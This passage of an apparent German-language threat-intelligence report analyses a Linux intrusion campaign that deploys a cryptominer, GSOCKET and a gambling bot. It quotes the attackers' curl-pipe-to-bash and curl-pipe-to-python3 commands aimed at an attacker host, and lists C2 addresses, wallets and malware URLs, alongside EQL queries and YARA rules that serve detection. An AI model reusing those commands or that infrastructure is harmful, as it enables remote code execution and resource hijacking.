Nach fast zwei Wochen manueller Ausnutzungsversuche stellten die Bedrohungsakteure ihre Bemühungen ein, die Berechtigungen zu erweitern, da sie wahrscheinlich keinen Root-Zugriff erhalten hatten. Stattdessen etablierten sie die Persistenz als www-data Benutzer und nutzten GSOCKET, um eine SSL-Verbindung einzurichten, die als Kernel-Prozess namens [mm_percpu_wq]getarnt war.

Nach der Dekodierung des Base64-Inhalts erhalten wir eine sehr vertraut aussehende Ausgabe:

Durch unsere Verhaltensregeln sehen wir, dass der Bedrohungsakteur die Crontab-Einträge des aktuellen Benutzers auflistet und eine Nutzlast direkt in die Crontab zurückgibt.

Dieser Befehl versucht, jede Minute http://gcp.pagaelrescate[.]com:8080/ifindyou herunterzuladen und an bash weiterzuleiten. Wenn wir uns den Inhalt von ifindyouansehen, sehen wir das folgende Bash-Skript:

Dieses Skript sammelt Hostname- und IP-Informationen, lädt das SystemdXC Archiv von http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC (XMRIG) herunter, speichert es in /tmp/SystemdXC, extrahiert das Archiv und führt es mit den notwendigen Parametern aus, um mit dem Mining von Bitcoin zu beginnen.

Bei der Untersuchung des Mining-Befehls können wir sehen, wie die Malware XMRIG konfiguriert:

Dieser Befehl stellt eine Verbindung zum unmineable.com Mining-Pool her und verwendet den Hostnamen des infizierten Computers als Kennung im Mining-Prozess. Zum Zeitpunkt der Erstellung dieses Artikels gibt es 15 aktive Mitarbeiter, die Bitcoin für die Wallet-Adresse 1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBzschürfen.

Bei weiteren Untersuchungen der Bitcoin-Adresse stellten wir fest, dass diese Adresse eine einzelne Transaktion durchgeführt hat.

Interessanterweise verweist die Ausgabeadresse für diese Transaktion auf eine bekannte Hot Wallet , die mit Binance in Verbindung steht, was darauf hindeutet, dass die Angreifer ihre Mining-Einnahmen möglicherweise auf eine Börsenplattform überwiesen haben.

Wenn wir unseren Fokus wieder auf das Skript legen, sehen wir auch zwei auskommentierte Befehle, die später klarer werden. Das Skript führt Folgendes aus:

curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash

Wenn wir uns diese Nutzlast ansehen, können wir den folgenden Inhalt sehen:

Diese Phase überprüft die Ausgabe des Befehls und sendet diese an einen Telegram-Chat-Bot. Durch unsere Telegram-Verhaltensregel können wir sehen, dass eine Telegram POST-Anfrage wie folgt aussieht:

Der Cron-Job, der in dieser Phase eingerichtet wird, wird jede 4. Stunde in Minute 0 ausgeführt. Dieser Job führt Folgendes aus:

curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3

Das heruntergeladene Python-Skript automatisiert die Interaktion mit einem Online-Glücksspiel durch HTTP-Anfragen. Das Skript enthält Funktionen, die die Benutzerauthentifizierung, das Wetten, die Verarbeitung der Ergebnisse und das Senden von Daten an einen Remote-Server verarbeiten.

Bei näherer Betrachtung haben wir die folgenden Schlüsselkomponenten des Skripts identifiziert:

Globale Variablen:

  • usuario: Speichert die Benutzer-ID für die Verwaltung der Sitzung.
  • apuesta: Stellt den Einsatzbetrag dar.
  • ganancias: Verfolgt die Gewinne und Verluste.
  • saldo_actual: Hält den Kontostand.

Die Funktion der obteneruid verstehen

Diese Funktion authentifiziert den Benutzer, indem sie eine POST-Anfrage mit den erforderlichen Headern und JSON-Daten an den Remote-Server sendet. Wenn der Benutzer noch nicht festgelegt ist, initialisiert er eine neue Sitzung und ruft den Kontostand ab. Nach erfolgreicher Authentifizierung wird eine Sitzungs-UUID zurückgegeben, die für weitere Interaktionen im Spiel verwendet wird.

Die Funktion der enviardatos verstehen

Diese Funktion sendet Spieldaten oder Statusaktualisierungen an gcp.pagaelrescate[.]comzurück und protokolliert die Ergebnisse oder Aktionen, die während des Spiels durchgeführt wurden. Er verwendet eine einfache GET-Anforderung, um diese Daten an den Remote-Server zu übertragen.

Die Funktion der hacerjugada verstehen

Die Funktion hacerjugada simuliert den Wettvorgang für eine festgelegte Anzahl von Runden. Es sendet POST-Anfragen, um Wetten zu platzieren, aktualisiert die Gewinne oder Verluste nach jeder Runde und berechnet die Gesamtergebnisse. Wenn eine Bonusrunde ausgelöst wird, ruft sie completarbono() auf, um alle Details des Bonusspiels zu bearbeiten. Zwischen jeder Wettrunde erzwingt die Funktion eine Verzögerung von 30 Sekunden, um das natürliche Gameplay nachzuahmen und eine Entdeckung zu vermeiden.

Die Funktion der completarbono verstehen

Wenn eine Bonusrunde ausgelöst wird, schließt diese Funktion die Runde ab, indem sie eine Anfrage sendet, die die Sitzungs-ID und die Runden-ID enthält. Basierend auf dem Ergebnis aktualisiert es den Kontostand und protokolliert die Gewinne oder Verluste. Jede Änderung des Kontostands wird mit der Funktion enviardatos() an den Remote-Server zurückgesendet.

Wird wahrscheinlich zu Testzwecken verwendet

Es ist wichtig zu beachten, dass dieses Skript wahrscheinlich zu Testzwecken verwendet wird, da es mit der Demoversion der Glücksspiel-App interagiert. Dies deutet darauf hin, dass die Angreifer möglicherweise die Automatisierung von Glücksspielaktionen testen oder versuchen, Schwachstellen in der App zu finden, bevor sie zur Live-Version übergehen. Die Verwendung einer Demo-Umgebung impliziert, dass sie ihren Ansatz verfeinern, möglicherweise in Vorbereitung auf ausgefeiltere oder weitreichendere Angriffe.

REF6138 über MITRE ATT&CK

Elastic verwendet das MITRE ATT&CK-Framework , um gängige Taktiken, Techniken und Verfahren zu dokumentieren, die von Advanced Persistent Threats gegen Unternehmensnetzwerke eingesetzt werden. Während dieser Untersuchung haben wir die folgenden Taktiken, Techniken und Untertechniken identifiziert:

MITRE ATT&CK-Taktiken, -Techniken und -Untertechniken

TaktikVerfahrenSub-Technik
RessourcenentwicklungT1587: Entwickeln von FähigkeitenMalware
T1588: Abrufen von FunktionenWerkzeug
T1608: Tische FähigkeitenMalware hochladen
Upload-Tool
ErstzugriffT1190: Öffentlich zugängliche Anwendung ausnutzen
AusführungT1059: Befehls- und SkriptinterpreterUnix-Shell
Python
T1053: Geplanter Task/JobCron
PersistenzT1546: Ereignisgesteuerte AusführungÄnderung der Unix-Shell-Konfiguration
T1053: Geplanter Task/JobCron
T1505: Server-SoftwarekomponenteWeb-Shell
RechteausweitungT1068: Ausnutzung für die Rechteausweitung
TarnungT1140: Entschleiern/Dekodieren von Dateien oder Informationen
T1222: Änderung von Datei- und VerzeichnisberechtigungenÄnderung von Datei- und Verzeichnisberechtigungen für Linux und Mac
T1564: Artefakte versteckenVersteckte Dateien und Verzeichnisse
T1070: Entfernen des IndikatorsTimestomp
T1036: MaskeradeMaskerade Aufgabe oder Dienst
T1027: Verschleierte Dateien oder InformationenSoftware-Verpackung
Entfernte Nutzlasten
Verschleierung von Befehlen
Verschlüsselte/codierte Datei
DiscoveryT1057: Prozesserkennung
T1082: Ermittlung von Systeminformationen
T1061: Ermittlung der Systemnetzwerkkonfiguration
T1049: Erkennung von Systemnetzwerkverbindungen
T1007: Erkennung von Systemdiensten
ErfassungT1119: Automatisierte Sammlung
T1005: Daten aus dem lokalen System
Command and ControlT1071: Protokoll der AnwendungsschichtWeb Protocols
T1132: DatenkodierungStandard-Codierung
T1001: Verschleierung von Daten
T1573: Verschlüsselter KanalSymmetrische Kryptographie
T1105: Transfer von Eingangswerkzeugen
T1571: Nicht standardmäßiger Anschluss
T1572: Protokoll-Tunneling
T1102: Webdienst
AuswirkungenT1496: Ressourcen-Hijacking

Erkennen von REF6138

Elastic Security implementiert einen mehrschichtigen Ansatz zur Bedrohungserkennung, der verhaltensbasierte SIEM- und Endpunktregeln, YARA-Signaturen und ML-basierte Ansätze zur Erkennung von Anomalien nutzt. In diesem Abschnitt werden die von Elastic Security erstellten Erkennungen beschrieben, die eine große Rolle bei der Erfassung der identifizierten Bedrohungen spielen.

Erkennung

Die folgenden Erkennungsregeln wurden bei der Analyse dieses Intrusion Sets beobachtet:

Verhütung

Die folgenden Verhaltenspräventionsereignisse wurden während der Analyse dieses Intrusion-Sets beobachtet:

Die folgenden YARA-Signaturen sind vorhanden, um die KAIJI- und RUDEDEVIL-Malware-Samples sowohl als Datei als auch im Arbeitsspeicher zu erkennen:

Die folgenden, in Kürze veröffentlichten Endpunktregelwarnungen wurden während der Analyse dieses Intrusion-Sets beobachtet:

  • Potentielle Shell über Webserver
  • Potenzielle Einschleusung von Webserver-Code
  • Potenzielle Shell, die vom Webserver-Benutzer ausgeführt wird
  • Dekodieren von Aktivitäten über Webserver
  • Linux Telegram API Request
  • Verdächtige Echo-Ausführung

Suchen von Abfragen in Elastic

Die Ereignisse für KQL und EQL werden mithilfe der Elastic Defend-Integration mit dem Elastic Agent bereitgestellt. Bei der Suche nach Abfragen können hohe Signale oder falsch positive Ergebnisse zurückgegeben werden. Diese Abfragen werden verwendet, um potenziell verdächtiges Verhalten zu identifizieren, aber eine Untersuchung ist erforderlich, um die Ergebnisse zu validieren.

EQL-Abfragen

Wenn Sie den Abschnitt "Zeitleiste" der Sicherheitslösung in Kibana auf der Registerkarte "Korrelation" verwenden, können Sie die folgenden EQL-Abfragen verwenden, um nach ähnlichen Verhaltensweisen zu suchen:

Mögliche XMRIG-Ausführung

Die folgende EQL-Abfrage kann verwendet werden, um in Ihrer Umgebung nach XMRIG-Ausführungen zu suchen.

process where event.type == "start" and event.action == "exec" and (
  (
    process.args in ("-a", "--algo") and process.args in (
      "gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq",
      "rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico",
      "cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1",
      "cn-lite/0", "cn/0"
    )
  ) or
  (
    process.args == "--coin" and process.args in ("monero", "arqma", "dero")
  )
) and process.args in ("-o", "--url")

MSR-Schreibzugriff aktiviert

XMRIG nutzt modprobe, um den Schreibzugriff auf MSR zu ermöglichen. Diese Aktivität ist nicht normal und sollte nicht standardmäßig auftreten.

process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"

Potenzielle GSOCKET-Aktivität

Diese Aktivität ist das Standardverhalten bei der Bereitstellung von GSOCKET über die empfohlenen Bereitstellungsmethoden. Darüber hinaus werden der Abfrage mehrere Argumente hinzugefügt, um die Wahrscheinlichkeit zu verringern, dass ein individuelleres Eindringen durch GSOCKET übersehen wird.

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.command_line : (
"*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*", "*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*", "*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*"
)

Potenzielle Prozessmaskierung über exec

GSOCKET nutzt die exec -a Methode, um einen Prozess unter einem anderen Namen auszuführen. GSOCKET nutzt speziell Maskeraden als Kernel-Prozesse, aber andere Malware kann sich anders tarnen.

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "* exec -a *"

Renice- oder Ulimit-Ausführung

Mehrere Malware, darunter KAIJI und RUDEDEVIL, nutzen das Dienstprogramm renice, um die Priorität von Prozessen zu ändern oder Ressourcenlimits für Prozesse festzulegen. Dies wird häufig von Miner-Malware verwendet, um die Priorität von Mining-Prozessen zu erhöhen und die Mining-Leistung zu maximieren.

process where event.type == "start" and event.action == "exec" and (
  process.name in ("ulimit", "renice") or (
  process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
  process.command_line : ("*ulimit*", "*renice*")
  )
)

Nicht vorhandener Cron(d)-Dienst gestartet

Sowohl KAIJI als auch RUDEDEVIL etablieren Persistenz durch die Schaffung eines cron(d) Dienstes in /etc/init.d/cron(d). Cronverwendet standardmäßig keinen SysV Init Dienst. Die Ausführung eines cron(d) Dienstes ist verdächtig und sollte weiter analysiert werden.

process where event.type == "start" and event.action == "exec" and 
  process.name == "systemctl" and process.args == "start" and process.args in 
  ("cron.service", "crond.service", "cron", "crond")

Verdächtige /etc/-Prozessausführung von KAIJI

Das Verzeichnis /etc/ ist kein häufig verwendetes Verzeichnis für Prozessausführungen. Es ist bekannt, dass KAIJI eine Binärdatei namens 32678 und id.services.conf im /etc/ Verzeichnis ablegt, um Persistenz zu etablieren und der Erkennung zu entgehen.

process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or process.executable : ("/etc/*.conf", "/etc/.*"))

Versteckte Dateierstellung im Verzeichnis /dev/

Das Erstellen versteckter Dateien in /dev/ und /dev/shm/ ist nicht von Natur aus bösartig, sollte jedoch ungewöhnlich sein. Es ist bekannt, dass KAIJI, GSOCKET und andere Malware wie K4SPREADER versteckte Dateien an diesen Orten ablegen.

file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*")

Verdächtige Prozessausführung von übergeordneter ausführbarer Datei in /boot/

Malware wie KAIJI und XORDDOS sind dafür bekannt, ausführbare Dateien im /boot/ -Verzeichnis zu platzieren und diese zu nutzen, um Persistenz zu etablieren und gleichzeitig zu versuchen, der Erkennung zu entgehen.

process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*"

YARA

Elastic Security hat YARA-Regeln erstellt, um diese Aktivität zu identifizieren. Im Folgenden finden Sie die YARA-Regel zur Identifizierung der benutzerdefinierten Apache2 Malware:

rule Linux_Trojan_Generic {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Trojan.Generic"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
        $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
        $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
        $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
        $key = "yyyyyyyy"
    condition:
        1 of ($enc*) and $key
}

Um GSOCKET einschließlich mehrerer benachbarter Tools zu erkennen, haben wir die folgende Signatur erstellt:

rule Multi_Hacktool_Gsocket {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-23"
        os = "Linux, MacOS"
        arch = "x86"
        threat_name = "Multi.Hacktool.Gsocket"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $str1 = "gsocket: gs_funcs not found"
        $str2 = "/share/gsocket/gs_funcs"
        $str3 = "$GSOCKET_ARGS"
        $str4 = "GSOCKET_SECRET"
        $str5 = "GS_HIJACK_PORTS"
        $str6 = "sftp -D gs-netcat"
        $str7 = "GS_NETCAT_BIN"
        $str8 = "GSOCKET_NO_GREETINGS"
        $str9 = "GS-NETCAT(1)"
        $str10 = "GSOCKET_SOCKS_IP"
        $str11 = "GSOCKET_SOCKS_PORT"
        $str12 = "gsocket(1)"
        $str13 = "gs-sftp(1)"
        $str14 = "gs-mount(1)"
    condition:
        3 of them
}

Schließlich wurde die folgende Signatur geschrieben, um das Open-Source-Tool Ligolo-ng zu erkennen, da wir Grund zu der Annahme haben, dass dieses Tool während dieses Eindringens verwendet wurde.

rule Linux_Hacktool_LigoloNG {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Hacktool.LigoloNG"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $a = "https://github.com/nicocha30/ligolo-ng"
        $b = "@Nicocha30!"
        $c = "Ligolo-ng %s / %s / %s"
    condition:
        all of them
}

Abwehrempfehlungen

Um sich effektiv gegen Malware-Kampagnen zu verteidigen und das Risiko eines Eindringens zu minimieren, ist es entscheidend, einen mehrschichtigen Sicherheitsansatz zu implementieren. Hier sind einige wichtige Abwehrmaßnahmen, die Sie priorisieren sollten:

  1. Halten Sie Ihre Elastic Detection-Regeln auf dem neuesten Stand und aktiviert: Stellen Sie sicher, dass Ihre Sicherheitstools, einschließlich aller vordefinierten Erkennungsregeln, auf dem neuesten Stand sind. Kontinuierliche Updates ermöglichen es Ihren Systemen, die neuesten Malware-Signaturen und -Verhaltensweisen zu erkennen.
  2. Präventionsmodus in Elastic Defend aktivieren: Konfigurieren Sie Elastic Defend im Präventionsmodus so, dass bekannte Bedrohungen automatisch blockiert werden, anstatt nur Warnungen auszugeben. Der Präventionsmodus gewährleistet eine proaktive Abwehr von Malware und Exploits.
  3. Überwachen von Warnungen und Protokollen: Überwachen Sie Warnungen, Protokolle und Server regelmäßig auf Anzeichen verdächtiger Aktivitäten. Die frühzeitige Erkennung von ungewöhnlichem Verhalten kann dazu beitragen, zu verhindern, dass eine kleine Sicherheitsverletzung zu einer ausgewachsenen Kompromittierung eskaliert.
  4. Durchführen von Threat Hunting: Untersuchen Sie Ihre Umgebung proaktiv auf versteckte Bedrohungen, die möglicherweise der Erkennung entgangen sind. Die Bedrohungsjagd kann komplexe Angriffe und hartnäckige Malware aufdecken, die herkömmliche Sicherheitsmaßnahmen umgehen.
  5. Implementieren von Web Application Firewalls (WAFs): Verwenden Sie eine WAF, um nicht autorisierten oder bösartigen Datenverkehr zu blockieren. Eine richtig konfigurierte Firewall kann viele gängige Webangriffe verhindern.
  6. Erzwingen Sie eine starke Authentifizierung für SSH: Verwenden Sie die Authentifizierung mit öffentlichen/privaten Schlüsseln für den SSH-Zugriff, um sich vor Brute-Force-Angriffen zu schützen.
  7. Sicheren Code schreiben: Stellen Sie sicher, dass alle benutzerdefinierte Software, insbesondere die Webserver-Technologie, sichere Codierungspraktiken befolgt. Die Beauftragung professioneller Sicherheitsprüfer mit der Überprüfung Ihres Codes kann dazu beitragen, Schwachstellen zu identifizieren und zu entschärfen, bevor sie ausgenutzt werden.
  8. Regelmäßiges Patchen und Aktualisieren von Systemen: Server, Anwendungen und Software auf dem neuesten Stand zu halten, ist unerlässlich, um bekannte Schwachstellen abzuwehren. Sofortiges Patchen minimiert das Risiko, von handelsüblichen Exploits angegriffen zu werden.

Wenn Sie diese Empfehlungen befolgen, können Sie die Angriffsfläche erheblich reduzieren und Ihre Verteidigung gegen laufende oder potenzielle Schadsoftwarebedrohungen stärken.

Beobachtungen

Die folgenden Observablen wurden in dieser Studie diskutiert. Diese stehen hier im STIX- oder ECS-Format zum Download zur Verfügung.

ObservableTypNameReferenz
72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1fSHA-256SystemdXC (SystemdXC)XMRIG
82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684SHA-256apache2apache2_unpacked
0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54ddSHA-256apache2_upx_packedapache2_upx_packed
9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449eSHA-256download.shKAIJI Stager
1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79SHA-256linux_386KAIJI x86
d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8SHA-256linux_amd64KAIJI x64
ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681bSHA-256linux_arm5KAIJI ARM5
792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6SHA-256linux_arm6KAIJI ARM6
e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4SHA-256linux_arm64KAIJI ARM64
3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745SHA-256linux_arm7KAIJI ARM7
fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0SHA-256linux_mipsKAIJI MIPS
6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55SHA-256linux_mips64KAIJI MIPS64
0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814SHA-256linux_mips64elKAIJI MIPS64 Little-Endian
310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988SHA-256linux_mips_softfloatKAIJI MIPS Softfloat
0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527SHA-256linux_mipselKAIJI MIPS Little-Endian
36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196SHA-256linux_mipsel_softfloatKAIJI MIPS Little-Endian Softfloat
3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344fSHA-256linux_ppc64KAIJI PPC64
7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7SHA-256linux_ppc64elKAIJI PPC64 Little-Endian
09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7SHA-256l64_v0RUDEDEVIL/LUFICER x64 Version 0
ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46SHA-256l64_v1RUDEDEVIL/LUFICER x64 Version 1
160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496aSHA-256l64_v2RUDEDEVIL/LUFICER x64 Version 2
89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055SHA-256l64_v3RUDEDEVIL/LUFICER x64 Version 3
20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941bSHA-256l86_v0RUDEDEVIL/LUFICER x86 Version 0
728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28cSHA-256l86_v1RUDEDEVIL/LUFICER x86 Version 1
47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40SHA-256l86_v2RUDEDEVIL/LUFICER x86 Version 2
e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5SHA-256l86_v3RUDEDEVIL/LUFICER x86 Version 3
d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60SHA-256hjvhg.exeMiner
54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1deSHA-256mvhhvcp3.exeDONUTLOADER
9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976SHA-256vdfgb.exeMiner
http://gcp.pagaelrescate[.]com:8080/ifindyouURLifindyou.shPhase 1
http://gcp.pagaelrescate[.]com:8080/cycnetURLcycnet.shPhase 2
http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slotURLEnviador_slot.pyStufe 3
http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXCURLSystemdXC (SystemdXC)XMRIG
http://38.54.125[.]192:8080/nginx-rcURLnginx-rcLIGOLO-NG
http://62.72.22[.]91/apache2URLapache2Benutzerdefinierte Malware
http://62.72.22[.]91/apache2v86URLapache2v86Benutzerdefinierte Malware
http://91.92.241[.]103:8002/gk.phpURLgk.phpPHP-Hintertür
http://hfs.t1linux[.]com:7845/scdsshfkURLscdsshfkXMRIG
gcp.pagaelrescate[.]comDomain-NameREF Hosting-Domäne
nishabii[.]XyzDomain-NameRUDEDEVIL C2
3.147.53[.]183IPv4-ADDRPython Reverse Shell C2
38.54.125[.]192IPv4-ADDRC2-Server
107.178.101[.]245IPv4-ADDRMalware File Server (Rejetto)
62.72.22[.]91IPv4-ADDRServer-Hosting-Malware
91.92.241[.]103IPv4-ADDRC2-Server
61.160.194[.]160IPv4-ADDRServer-Hosting-Malware
41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHLXMR GeldbörseRUDEDEVIL/LUFICER Mining-Geldbörse
42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4PtcXMR GeldbörseRUDEDEVIL/LUFICER Mining-Geldbörse
1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBzBTC-GeldbörseXMRIG Mining-Geldbörse

Referenzen

In der obigen Studie wurde auf Folgendes Bezug genommen: